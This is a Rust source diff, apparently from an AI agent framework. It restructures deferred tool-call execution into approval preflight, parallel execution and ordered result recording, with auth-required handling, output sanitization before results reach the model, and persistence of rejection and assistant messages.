if let Some((ext_name, instructions)) =
detect_auth_awaiting(&pending.tool_name, &tool_result)
check_auth_required(&pending.tool_name, &tool_result)
{
let auth_data = parse_auth_result(&tool_result);
{
let mut sess = session.lock().await;
if let Some(thread) = sess.threads.get_mut(&thread_id) {
thread.enter_auth_mode(ext_name.clone());
thread.complete_turn(&instructions);
}
}
let _ = self
.channels
.send_status(
&message.channel,
StatusUpdate::AuthRequired {
extension_name: ext_name,
instructions: Some(instructions.clone()),
auth_url: auth_data.auth_url,
setup_url: auth_data.setup_url,
},
&message.metadata,
)
.await;
self.handle_auth_intercept(
&session,
thread_id,
message,
&tool_result,
ext_name,
instructions.clone(),
)
.await;
return Ok(SubmissionResult::response(instructions));
}
@@ -780,9 +838,292 @@ impl Agent {
result_content,
));
// Replay deferred tool calls from the same assistant message so
// every tool_use ID gets a matching tool_result before the next
// LLM call.
if !deferred_tool_calls.is_empty() {
let _ = self
.channels
.send_status(
&message.channel,
StatusUpdate::Thinking(format!(
"Executing {} deferred tool(s)...",
deferred_tool_calls.len()
)),
&message.metadata,
)
.await;
}
// === Phase 1: Preflight (sequential) ===
// Walk deferred tools checking approval. Collect runnable
// tools; stop at the first that needs approval.
let mut runnable: Vec<crate::llm::ToolCall> = Vec::new();
let mut approval_needed: Option<(
usize,
crate::llm::ToolCall,
Arc<dyn crate::tools::Tool>,
)> = None;
for (idx, tc) in deferred_tool_calls.iter().enumerate() {
if let Some(tool) = self.tools().get(&tc.name).await {
use crate::tools::ApprovalRequirement;
let needs_approval = match tool.requires_approval(&tc.arguments) {
ApprovalRequirement::Never => false,
ApprovalRequirement::UnlessAutoApproved => {
let sess = session.lock().await;
!sess.is_tool_auto_approved(&tc.name)
}
ApprovalRequirement::Always => true,
};
if needs_approval {
approval_needed = Some((idx, tc.clone(), tool));
break; // remaining tools stay deferred
}
}
runnable.push(tc.clone());
}
// === Phase 2: Parallel execution ===
let exec_results: Vec<(crate::llm::ToolCall, Result<String, Error>)> = if runnable.len()
<= 1
{
// Single tool (or none): execute inline
let mut results = Vec::new();
for tc in &runnable {
let _ = self
.channels
.send_status(
&message.channel,
StatusUpdate::ToolStarted {
name: tc.name.clone(),
},
&message.metadata,
)
.await;
let result = self
.execute_chat_tool(&tc.name, &tc.arguments, &job_ctx)
.await;
let _ = self
.channels
.send_status(
&message.channel,
StatusUpdate::ToolCompleted {
name: tc.name.clone(),
success: result.is_ok(),
},
&message.metadata,
)
.await;
results.push((tc.clone(), result));
}
results
} else {
// Multiple tools: execute in parallel via JoinSet
let mut join_set = JoinSet::new();
let runnable_count = runnable.len();
for (spawn_idx, tc) in runnable.iter().enumerate() {
let tools = self.tools().clone();
let safety = self.safety().clone();
let channels = self.channels.clone();
let job_ctx = job_ctx.clone();
let tc = tc.clone();
let channel = message.channel.clone();
let metadata = message.metadata.clone();
join_set.spawn(async move {
let _ = channels
.send_status(
&channel,
StatusUpdate::ToolStarted {
name: tc.name.clone(),
},
&metadata,
)
.await;
let result = execute_chat_tool_standalone(
&tools,
&safety,
&tc.name,
&tc.arguments,
&job_ctx,
)
.await;
let _ = channels
.send_status(
&channel,
StatusUpdate::ToolCompleted {
name: tc.name.clone(),
success: result.is_ok(),
},
&metadata,
)
.await;
(spawn_idx, tc, result)
});
}
// Collect and reorder by original index
let mut ordered: Vec<Option<(crate::llm::ToolCall, Result<String, Error>)>> =
(0..runnable_count).map(|_| None).collect();
while let Some(join_result) = join_set.join_next().await {
match join_result {
Ok((idx, tc, result)) => {
ordered[idx] = Some((tc, result));
}
Err(e) => {
if e.is_panic() {
tracing::error!("Deferred tool execution task panicked: {}", e);
} else {
tracing::error!("Deferred tool execution task cancelled: {}", e);
}
}
}
}
// Fill panicked slots with error results
ordered
.into_iter()
.enumerate()
.map(|(i, opt)| {
opt.unwrap_or_else(|| {
let tc = runnable[i].clone();
let err: Error = crate::error::ToolError::ExecutionFailed {
name: tc.name.clone(),
reason: "Task failed during execution".to_string(),
}
.into();
(tc, Err(err))
})
})
.collect()
};
// === Phase 3: Post-flight (sequential, in original order) ===
// Process all results before any conditional return so every
// tool result is recorded in the session audit trail.
let mut deferred_auth: Option<String> = None;
for (tc, deferred_result) in exec_results {
if let Ok(ref output) = deferred_result
&& !output.is_empty()
{
let _ = self
.channels
.send_status(
&message.channel,
StatusUpdate::ToolResult {
name: tc.name.clone(),
preview: output.clone(),
},
&message.metadata,
)
.await;
}
// Record in thread
{
let mut sess = session.lock().await;
if let Some(thread) = sess.threads.get_mut(&thread_id)
&& let Some(turn) = thread.last_turn_mut()
{
match &deferred_result {
Ok(output) => turn.record_tool_result(serde_json::json!(output)),
Err(e) => turn.record_tool_error(e.to_string()),
}
}
}
// Auth detection — defer return until all results are recorded
if deferred_auth.is_none()
&& let Some((ext_name, instructions)) =
check_auth_required(&tc.name, &deferred_result)
{
self.handle_auth_intercept(
&session,
thread_id,
message,
&deferred_result,
ext_name,
instructions.clone(),
)
.await;
deferred_auth = Some(instructions);
}
let deferred_content = match deferred_result {
Ok(output) => {
let sanitized = self.safety().sanitize_tool_output(&tc.name, &output);
self.safety().wrap_for_llm(
&tc.name,
&sanitized.content,
sanitized.was_modified,
)
}
Err(e) => format!("Error: {}", e),
};
context_messages.push(ChatMessage::tool_result(&tc.id, &tc.name, deferred_content));
}
// Return auth response after all results are recorded
if let Some(instructions) = deferred_auth {
return Ok(SubmissionResult::response(instructions));
}
// Handle approval if a tool needed it
if let Some((approval_idx, tc, tool)) = approval_needed {
let new_pending = PendingApproval {
request_id: Uuid::new_v4(),
tool_name: tc.name.clone(),
parameters: tc.arguments.clone(),
description: tool.description().to_string(),
tool_call_id: tc.id.clone(),
context_messages: context_messages.clone(),
deferred_tool_calls: deferred_tool_calls[approval_idx + 1..].to_vec(),
};
let request_id = new_pending.request_id;
let tool_name = new_pending.tool_name.clone();
let description = new_pending.description.clone();
let parameters = new_pending.parameters.clone();
{
let mut sess = session.lock().await;
if let Some(thread) = sess.threads.get_mut(&thread_id) {
thread.await_approval(new_pending);
}
}
let _ = self
.channels
.send_status(
&message.channel,
StatusUpdate::Status("Awaiting approval".into()),
&message.metadata,
)
.await;
return Ok(SubmissionResult::NeedApproval {
request_id,
tool_name,
description,
parameters,
});
}
// Continue the agentic loop (a tool was already executed this turn)
let result = self
.run_agentic_loop(message, session.clone(), thread_id, context_messages, true)
.run_agentic_loop(message, session.clone(), thread_id, context_messages)
.await;
// Handle the result
@@ -795,7 +1136,16 @@ impl Agent {
match result {
Ok(AgenticLoopResult::Response(response)) => {
thread.complete_turn(&response);
self.persist_response_chain(thread);
let tool_calls = thread
.turns
.last()
.map(|t| t.tool_calls.clone())
.unwrap_or_default();
// User message already persisted at turn start; save tool calls then assistant response
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
.await;
self.persist_assistant_response(thread_id, &message.user_id, &response)
.await;
let _ = self
.channels
.send_status(
@@ -831,15 +1181,25 @@ impl Agent {
}
Err(e) => {
thread.fail_turn(e.to_string());
// User message already persisted at turn start
Ok(SubmissionResult::error(e.to_string()))
}
}
} else {
// Rejected - clear approval and return to idle
// Rejected - complete the turn with a rejection message and persist
let rejection = format!(
"Tool '{}' was rejected. The agent will not execute this tool.\n\n\
You can continue the conversation or try a different approach.",
pending.tool_name
);
{
let mut sess = session.lock().await;
if let Some(thread) = sess.threads.get_mut(&thread_id) {
thread.clear_pending_approval();
thread.complete_turn(&rejection);
// User message already persisted at turn start; save rejection response
self.persist_assistant_response(thread_id, &message.user_id, &rejection)
.await;
}
}
@@ -852,14 +1212,50 @@ impl Agent {
)
.await;
Ok(SubmissionResult::response(format!(
"Tool '{}' was rejected. The agent will not execute this tool.\n\n\
You can continue the conversation or try a different approach.",
pending.tool_name
)))
Ok(SubmissionResult::response(rejection))
}
}
/// Handle an auth-required result from a tool execution.
///
/// Enters auth mode on the thread, completes + persists the turn,
/// and sends the AuthRequired status to the channel.
/// Returns the instructions string for the caller to wrap in a response.
async fn handle_auth_intercept(
&self,
session: &Arc<Mutex<Session>>,
thread_id: Uuid,
message: &IncomingMessage,
tool_result: &Result<String, Error>,
ext_name: String,
instructions: String,
) {
let auth_data = parse_auth_result(tool_result);
{
let mut sess = session.lock().await;
if let Some(thread) = sess.threads.get_mut(&thread_id) {
thread.enter_auth_mode(ext_name.clone());
thread.complete_turn(&instructions);
// User message already persisted at turn start; save auth instructions
self.persist_assistant_response(thread_id, &message.user_id, &instructions)
.await;
}
}
let _ = self
.channels
.send_status(
&message.channel,
StatusUpdate::AuthRequired {
extension_name: ext_name,
instructions: Some(instructions.clone()),
auth_url: auth_data.auth_url,
setup_url: auth_data.setup_url,
},
&message.metadata,
)
.await;
}
/// Handle an auth token submitted while the thread is in auth mode.
///
/// The token goes directly to the extension manager's credential store,
+4
View File
@@ -67,6 +67,7 @@ impl UndoManager {
}
/// Create with a custom checkpoint limit.
#[cfg(test)]
pub fn with_max_checkpoints(mut self, max: usize) -> Self {
self.max_checkpoints = max;
self
@@ -126,6 +127,7 @@ impl UndoManager {
}
/// Pop the last checkpoint from the undo stack.
#[cfg(test)]
pub fn pop_undo(&mut self) -> Option<Checkpoint> {
self.undo_stack.pop_back()
}
@@ -178,6 +180,7 @@ impl UndoManager {
}
/// Get a checkpoint by ID.
#[cfg(test)]
pub fn get_checkpoint(&self, id: Uuid) -> Option<&Checkpoint> {
self.undo_stack
.iter()
@@ -186,6 +189,7 @@ impl UndoManager {
}
/// List all available checkpoints (for UI display).
#[cfg(test)]
pub fn list_checkpoints(&self) -> Vec<&Checkpoint> {
self.undo_stack.iter().collect()
}

Some files were not shown because too many files have changed in this diff Show More